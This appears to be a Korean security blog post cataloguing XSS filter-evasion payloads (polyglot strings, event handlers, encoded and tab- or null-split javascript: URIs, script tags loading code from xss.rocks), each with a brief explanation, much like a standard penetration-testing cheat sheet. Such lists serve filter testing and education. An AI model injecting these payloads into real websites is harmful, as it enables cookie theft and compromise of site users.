XSS 로케이터(Polyglot)
- 여러 컨텍스트에서 실행되는 다목적 XSS 페이로드.
- HTML, JavaScript, URL 인코딩 등의 다양한 환경에서 동작 가능.
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
|
잘못된 A 태그 이용
- <a> 태그 내 이벤트 핸들러 (onmouseover)를 활용한 공격.
- 일부 브라우저에서는 자동으로 따옴표를 추가하여 필터를 우회할 수 있음.
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
|
잘못된 IMG 태그
- <IMG> 태그 내에서 JavaScript 실행을 유도.
- 따옴표가 누락된 경우에도 브라우저가 자동 수정할 수 있음.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
![]() |
CharCode를 이용한 필터 우회
- String.fromCharCode()를 사용하여 JavaScript 코드 실행.
- 따옴표가 허용되지 않는 환경에서 사용 가능.
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>
|
SRC 필터를 우회하는 기본 IMG 태그
- SRC 속성을 조작하여 이벤트 핸들러 실행.
- <IMG> 태그의 onmouseover, onerror 등을 활용.
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
|
IMG onerror + JavaScript 인코딩
- HTML 엔티티 인코딩을 사용하여 필터 우회.
<img src=x onerror="javascript:alert('XSS')">
![]() |
10진수 HTML 문자 참조
- javascript: 스키마를 인코딩하여 필터를 우회.
- j 등의 HTML 코드 사용.
<a href="javascript:alert('XSS')">Click Me!</a>
![]() |
후행 세미콜론 없이 10진수 HTML 문자 참조
- 일부 필터가 & 이후 ;로 끝나야 한다고 가정하는 점을 악용.
<a href="javascript:alert('XSS')">Click Me</a>
|
후행 세미콜론 없이 16진수 HTML 문자 참조
- 16진수 문자 참조를 활용하여 필터를 우회.
<a href="javascript:alert('XSS')">Click Me</a>
|
내장된 탭 (Embedded Tab)
- javascript:를 포함한 XSS를 탐지하는 필터를 우회하기 위해 공백 또는 탭을 삽입.
- 일부 필터는 javascript:를 연속된 문자열로 인식하므로, 사이에 탭을 삽입하면 탐지를 피할 수 있음.
<a href="jav ascript:alert('XSS');">Click Me</a>
내장된 인코딩된 탭 (Embedded Encoded Tab)
- 탭(\t)을 HTML 엔티티로 인코딩하여 필터를 우회.
- 	(탭 문자)를 삽입하면 브라우저가 이를 자동으로 디코딩하여 실행.
<a href="jav	ascript:alert('XSS');">Click Me</a>
내장된 줄바꿈을 이용한 JavaScript 분리
- javascript: 문자열을 줄바꿈 문자(\n 또는 \r)로 분리하여 탐지를 우회.
- ASCII 제어 문자 
(줄바꿈) 및 
(캐리지 리턴)를 활용.
<a href="jav
ascript:alert('XSS');">Click Me</a>
<a href="jav
ascript:alert('XSS');">Click Me</a>
Null 문자 (%00)를 이용한 JavaScript 지시문 분리
- Null 문자(%00)는 일반적으로 문자열의 끝을 의미하지만, 일부 브라우저에서는 여전히 실행됨.
- 특정 필터를 우회하기 위해 JavaScript 키워드 사이에 \0을 삽입.
<IMG SRC=java\0script:alert("XSS")>
JavaScript 앞의 공백 및 메타 문자 활용
- javascript: 키워드 앞에 공백 또는 특수 문자를 삽입하여 필터링 우회.
- 브라우저는 이를 무시하고 실행.
<a href="  javascript:alert('XSS');">Click Me</a>
알파벳 및 숫자가 아닌 문자를 이용한 XSS
- XSS 필터는 태그와 속성 사이의 공백을 요구하지만, 일부 브라우저는 특수 문자를 허용.
- /, !, #, % 등의 문자를 활용하여 필터 우회.
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
스크립트 태그에서 프로토콜 확인 우회
- <SCRIPT SRC="..."에서 http:// 대신 //를 사용하면 브라우저가 자동으로 현재 프로토콜을 적용.
- .j 확장자를 사용하면 특정 브라우저에서 실행 가능.
<SCRIPT SRC=//xss.rocks/.j>
|
열린 꺾쇠괄호 (<)을 활용한 필터 우회
- 일부 탐지 엔진은 <SCRIPT> 태그를 찾을 때 완전한 문자열 매칭을 요구.
- <<SCRIPT>와 같은 변형을 사용하여 우회 가능.
<<SCRIPT>alert("XSS");//\<</SCRIPT>
종료 태그 없이 XSS 실행
- Firefox는 <SCRIPT> 태그의 종료(</SCRIPT>)를 자동으로 추가하는 특성이 있음.
- 따라서 종료 태그 없이도 스크립트 실행 가능.
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
이어서....
'웹 해킹 > 실무' 카테고리의 다른 글
[웹해킹] Blind SQL 인젝션 자동화 도구 (python) (0) | 2024.09.03 |
---|